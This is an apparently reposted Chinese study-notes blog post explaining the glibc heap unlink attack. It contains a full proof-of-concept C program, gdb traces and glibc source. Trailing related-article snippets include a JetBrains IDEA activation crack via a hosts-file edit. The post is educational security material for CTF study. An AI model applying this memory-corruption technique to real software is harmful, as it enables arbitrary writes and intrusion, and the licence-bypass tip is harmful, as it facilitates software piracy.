关于如何理解Glibc堆管理器(Ⅳ——从Unlink攻击理解指针与chunk寻址方式)

2024-04-15 05:58

本文主要是介绍关于如何理解Glibc堆管理器(Ⅳ——从Unlink攻击理解指针与chunk寻址方式),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源。

目录

参考文章:

环境与工具:

源代码:

代码调试:

什么是Unlink:

调试继续:

Unlink安全性检查:

调试继续:

Free与触发Unlink:

关于寻址:


参考文章:

        在此先给出几篇可供参考的文章。笔者认为几位师傅所写的都比笔者所写要来得更加精炼。倘若您通过如下几篇文章已经能够完全理解Unlink为何,那么大可以不再阅读这篇冗长的文章。

        安全客:https://www.anquanke.com/post/id/197481

        看雪:https://bbs.pediy.com/thread-224836.htm

        CTF-WIKI:https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/

环境与工具:

        环境:Ubuntu16.4 / gcc / (gdb)pwn-dbg

        范例:Heap Exploitation系列unlink部分(源代码将直接在下面贴出)

源代码:

#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>struct chunk_structure {size_t prev_size;size_t size;struct chunk_structure *fd;struct chunk_structure *bk;char buf[10];               // padding
};int main() {unsigned long long *chunk1, *chunk2;struct chunk_structure *fake_chunk, *chunk2_hdr;char data[20];// First grab two chunks (non fast)chunk1 = malloc(0x80);chunk2 = malloc(0x80);printf("%p\n", &chunk1);printf("%p\n", chunk1);printf("%p\n", chunk2);// Assuming attacker has control over chunk1's contents// Overflow the heap, override chunk2's header// First forge a fake chunk starting at chunk1// Need to setup fd and bk pointers to pass the unlink security checkfake_chunk = (struct chunk_structure *)chunk1;fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == Pfake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P// Next modify the header of chunk2 to pass all security checkschunk2_hdr = (struct chunk_structure *)(chunk2 - 2);chunk2_hdr->prev_size = 0x80;  // chunk1's data region sizechunk2_hdr->size &= ~1;        // Unsetting prev_in_use bit// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'// This results in chunk1 pointer pointing to chunk1 - 3// i.e. chunk1[3] now contains chunk1 itself.// We then make chunk1 point to some victim's datafree(chunk2);printf("%p\n", chunk1);printf("%p\n", chunk1[3]);chunk1[3] = (unsigned long long)data;strcpy(data, "Victim's data");// Overwrite victim's data using chunk1chunk1[0] = 0x002164656b636168LL;printf("%s\n", data);return 0;
}

代码调试:

        读者可以试着先行阅读一下代码,看看是否能够理解其逻辑。笔者在调试时由于对指针和寻址等相关知识的不熟练而倍感困惑,倘若读者在阅读代码过程中通畅无阻,那么这个案例便不是那么困难了。

gdb-peda$ b 20
Breakpoint 1 at 0x40067d: file test.c, line 20.
gdb-peda$ b 31
Breakpoint 2 at 0x4006db: file test.c, line 31.
gdb-peda$ b 36
Breakpoint 3 at 0x400703: file test.c, line 36.
gdb-peda$ b 44
Breakpoint 4 at 0x400731: file test.c, line 44.
gdb-peda$ run

        首先开辟三个chunk,这此我们有必要记录一下打印得到的结果:

gdb-peda$ continue
Continuing.
0x7fffffffde00    //chunk1指针地址
0x602010    //chunk1堆地址——user data
0x6020a0    //chunk2堆地址——user data

        继续continue直到第36行,查看此时的heap

0x602000 PREV_INUSE {prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x7fffffffdde8, bk_nextsize = 0x7fffffffddf0
}
0x602090 PREV_INUSE {prev_size = 0x0, size = 0x91, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0
}
0x602120 PREV_INUSE {prev_size = 0x0, size = 0x411, fd = 0x3061303230367830, bk = 0xa30306564660a, fd_nextsize = 0x0, bk_nextsize = 0x0
}
0x602530 PREV_INUSE {prev_size = 0x0, size = 0x20ad1, fd = 0x0, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0
}

        我们发现,chunk 1的 fd 和 bk 指针已经被指向了栈的地方。 

        先抛开这究竟是如何实现的,我们需要先了解一下

什么是Unlink:

1459 /* Take a chunk off a bin list.  */
1460 static void
1461 unlink_chunk (mstate av, mchunkptr p)
1462 {
1463   if (chunksize (p) != prev_size (next_chunk (p)))
1464     malloc_printerr ("corrupted size vs. prev_size");
1465 
1466   mchunkptr fd = p->fd;
1467   mchunkptr bk = p->bk;
1468 
1469   if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
1470     malloc_printerr ("corrupted double-linked list");
1471 
1472   fd->bk = bk;
1473   bk->fd = fd;
1474   if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
1475     {
1476       if (p->fd_nextsize->bk_nextsize != p
1477           || p->bk_nextsize->fd_nextsize != p)
1478         malloc_printerr ("corrupted double-linked list (not small)");
1479 
1480       if (fd->fd_nextsize == NULL)
1481         {
1482           if (p->fd_nextsize == p)
1483             fd->fd_nextsize = fd->bk_nextsize = fd;
1484           else
1485             {
1486               fd->fd_nextsize = p->fd_nextsize;
1487               fd->bk_nextsize = p->bk_nextsize;
1488               p->fd_nextsize->bk_nextsize = fd;
1489               p->bk_nextsize->fd_nextsize = fd;
1490             }
1491         }
1492       else
1493         {
1494           p->fd_nextsize->bk_nextsize = p->bk_nextsize;
1495           p->bk_nextsize->fd_nextsize = p->fd_nextsize;
1496         }
1497     }
1498 }

        Unlink实则为一个函数,在特定情况下被调用。函数功能为:将一个chunk从链表中摘下

        这里所说的链表,其实就是Bins结构。

        这里引用一下知世师傅的总结:

使用unlink的时机

  • malloc
    1. 在恰好大小的large chunk处取chunk时
    2. 在比请求大小大的bin中取chunk时
  • Free
    1. 后向合并,合并物理相邻低物理地址空闲chunk时
    2. 前向合并,合并物理相邻高物理地址空闲chunk时(top chunk除外)
  • malloc_consolidate
    1. 后向合并,合并物理相邻低地址空闲chunk时。
    2. 前向合并,合并物理相邻高地址空闲 chunk时(top chunk除外)
  • realloc

    前向扩展,合并物理相邻高地址空闲 chunk(除了top chunk)

        其具体的执行效果一言蔽之就是:(P为链表中需要被摘下的节点)

P->fd->bk = P->bk.
P->bk->fd = P->fd.

        本章我们将以Free时候发生Unlink来示范,看看堆管理器究竟在做些什么。

调试继续:

        我们查看一下两个指针的地址,并在图中标出:(不要过于纠结fake_chunk名字的意义)

gdb-peda$ p fake_chunk 
$1 = (struct chunk_structure *) 0x602010
gdb-peda$ p &fake_chunk 
$2 = (struct chunk_structure **) 0x7fffffffde10
gdb-peda$ p &chunk1 
$3 = (unsigned long long **) 0x7fffffffde00
gdb-peda$ p &data
$4 = (char (*)[20]) 0x7fffffffde20

         第32,33行的两行代码,我将其地址标注在上图中了。值得注意的是,这两个指针均为“指向chunk”的指针,即——将 &chunk1-3 &chunk1-2 视为了两个不同的chunk

Unlink安全性检查:

// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \

        由于这个检查,因此才有上面的伪造。

        现在,不妨跟随一下这个检查,其要求为:(P为链表中需要被摘下的节点,此处是chunk1)

P->fd->bk == P
P->bk->fd == P

         chunk1->fd=&chunk1-3,根据上面的栈表,我们可以轻松的发现:chunk1->fd->bk=602010

        对于另外一个判断也是如此。我们成功的将 栈 伪造成了两个chunk(fd和bk)来骗过了管理器。

调试继续:

         因为

  fake_chunk = (struct chunk_structure *)chunk1;

         因此,我们操作fake_chunk的fd/bk指针就是操作chunk1的对应指针,于是才有了前面给出的堆的状态。

        继续调试,从第36行到44行。

        chunk2_hdr是指向chunk2真正的开头的指针。在第二章中曾提到过,malloc返回的内容并不是真正指向chunk的开头,而是往下增加了16字节。

        第37和38行则是在伪造chunk1的状态:

        prev_size表示上一个相邻空闲块的大小(若该相邻块是被使用的,则会被占用,用来填充用户数据),第38行则将P标记位置0,表示上一个相邻块已被释放。

        至此,我们已经伪造好了chunk1的状态。当使用free(chunk2)的时候,管理器会发现chunk1是处于被释放状态的,于是将chunk2和chunk1进行合并。

Free与触发Unlink:

        当我们执行

free(chunk2);

        时候将触发Unlink,对chunk1做如下行为:

P->fd->bk = P->bk.
P->bk->fd = P->fd.

        结果是令人疑惑的,但如果按照笔者上述的逻辑,大致还是能够理顺的:(P为chunk1)

&(P->fd->bk)=0x7fffffffde10
该地址处的内容被替换为(&chunk1-2)=0x7fffffffddf0
&(P->bk->fd)=0x7fffffffde10
该地址处的内容被替换为(&chunk1-3)=0x7fffffffdde8

         现在我们再看chunk1与chunk[3],将得到相同的结果:

gdb-peda$ p chunk1
$16 = (unsigned long long *) 0x7fffffffdde8
gdb-peda$ p &chunk1[3]
$17 = (unsigned long long *) 0x7fffffffde00
gdb-peda$ p chunk1[3]
$18 = 0x7fffffffdde8

         "chunk1的内容和chunk1[3]相同,chunk1[3]的地址和chunk1的地址相同",乍一看相当反直觉的表述,但根据栈图还是能够理解的,继续往下:

  chunk1[3] = (unsigned long long)data;

        此时,该操作就会将chunk1的值替换为Data的指针。因此,只要我们能够操作chunk1的值,就变相的能够读写Data中的数据了

  chunk1[0] = 0x002164656b636168LL;printf("%s\n", data);//hacked!

关于寻址:

         说了这么多,最后是关于寻址的问题。

        上文案例中,chunk1并不在Bins中,那这个Unlink的执行会否显得有些突兀?

        从寻址的角度来说,管理器并不关心chunk1是否处于Bins中。它通过Size和Prev_Size来找到chunk1,并且由于chunk1的fd和bk指针都存在,管理器就误认为chunk1是被挂在Bins中的一个节点。也就是说,堆管理器并没有检查Bins中是否真的存在这个节点

        实际上,即使chunk1真的是Bins中的一个节点,这种寻址方式也不会有任何问题,它会顺利的摘下chunk1;只是在本例中,管理器以为自己从Bins中摘除了chunk1罢了

        

这篇关于关于如何理解Glibc堆管理器(Ⅳ——从Unlink攻击理解指针与chunk寻址方式)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/905016

相关文章

如何突破底层思维方式的牢笼

我始终认为,牛人和普通人的根本区别在于思维方式的不同,而非知识多少、阅历多少。 在这个世界上总有一帮神一样的人物存在。就像读到的那句话:“人类就像是一条历史长河中的鱼,只有某几条鱼跳出河面,看到世界的法则,但是却无法改变,当那几条鱼中有跳上岸,进化了,改变河道流向,那样才能改变法则。”  最近一段时间一直在不断寻在内心的东西,同时也在不断的去反省和否定自己的一些思维模式,尝试重

idea lanyu方式激活

访问http://idea.lanyus.com/这个地址。根据提示将0.0.0.0 account.jetbrains.com添加到hosts文件中,hosts文件在C:\Windows\System32\drivers\etc目录下。点击获得注册码即可。

回调的简单理解

之前一直不太明白回调的用法,现在简单的理解下 就按这张slidingmenu来说,主界面为Activity界面,而旁边的菜单为fragment界面。1.现在通过主界面的slidingmenu按钮来点开旁边的菜单功能并且选中”区县“选项(到这里就可以理解为A类调用B类里面的c方法)。2.通过触发“区县”的选项使得主界面跳转到“区县”相关的新闻列表界面中(到这里就可以理解为B类调用A类中的d方法

以canvas方式绘制粒子背景效果,感觉还可以

这个是看到项目中别人写好的,感觉这种写法效果还可以,就存留记录下 就是这种的背景效果。如果想改背景颜色可以通过canvas.js文件中的fillStyle值改。 附上demo下载地址。 https://download.csdn.net/download/u012138137/11249872

vue同页面多路由懒加载-及可能存在问题的解决方式

先上图,再解释 图一是多路由页面,图二是路由文件。从图一可以看出每个router-view对应的name都不一样。从图二可以看出层路由对应的组件加载方式要跟图一中的name相对应,并且图二的路由层在跟图一对应的页面中要加上components层,多一个s结尾,里面的的方法名就是图一路由的name值,里面还可以照样用懒加载的方式。 页面上其他的路由在路由文件中也跟图二是一样的写法。 附送可能存在

vue子路由回退后刷新页面方式

最近碰到一个小问题,页面中含有 <transition name="router-slid" mode="out-in"><router-view></router-view></transition> 作为子页面加载显示的地方。但是一般正常子路由通过 this.$router.go(-1) 返回到上一层原先的页面中。通过路由历史返回方式原本父页面想更新数据在created 跟mounted

【云计算 复习】第1节 云计算概述和 GFS + chunk

一、云计算概述 1.云计算的商业模式 (1)软件即服务(SaaS) 有些景区给游客提供烧烤场地,游客需要自己挖坑或者砌烧烤台,然后买肉、串串、烧烤。 (2)平台即服务(PaaS) 有些景区给游客提供烧烤场地,同时搭建好烧烤台,游客只需要自己带食材和调料、串串、烧烤。 (3)基础设施即服务(IaaS) 有些景区给游客提供烧烤场地,同时搭建好烧烤台,还有专门的厨师来烧烤,用户不需要关心前面的所有

C语言入门系列:探秘二级指针与多级指针的奇妙世界

文章目录 一,指针的回忆杀1,指针的概念2,指针的声明和赋值3,指针的使用3.1 直接给指针变量赋值3.2 通过*运算符读写指针指向的内存3.2.1 读3.2.2 写 二,二级指针详解1,定义2,示例说明3,二级指针与一级指针、普通变量的关系3.1,与一级指针的关系3.2,与普通变量的关系,示例说明 4,二级指针的常见用途5,二级指针扩展到多级指针 小结 C语言的学习之旅中,二级

如何理解redis是单线程的

写在文章开头 在面试时我们经常会问到这样一道题 你刚刚说redis是单线程的,那你能不能告诉我它是如何基于单个线程完成指令接收与连接接入的? 这时候我们经常会得到沉默,所以对于这道题,笔者会直接通过3.0.0源码分析的角度来剖析一下redis单线程的设计与实现。 Hi,我是 sharkChili ,是个不断在硬核技术上作死的 java coder ,是 CSDN的博客专家 ,也是开源

MySQL理解-下载-安装

MySQL理解: mysql:是一种关系型数据库管理系统。 下载: 进入官网MySQLhttps://www.mysql.com/  找到download 滑动到最下方:有一个开源社区版的链接地址: 然后就下载完成了 安装: 双击: 一直next 一直next这一步: 一直next到这里: 等待加载完成: 一直下一步到这里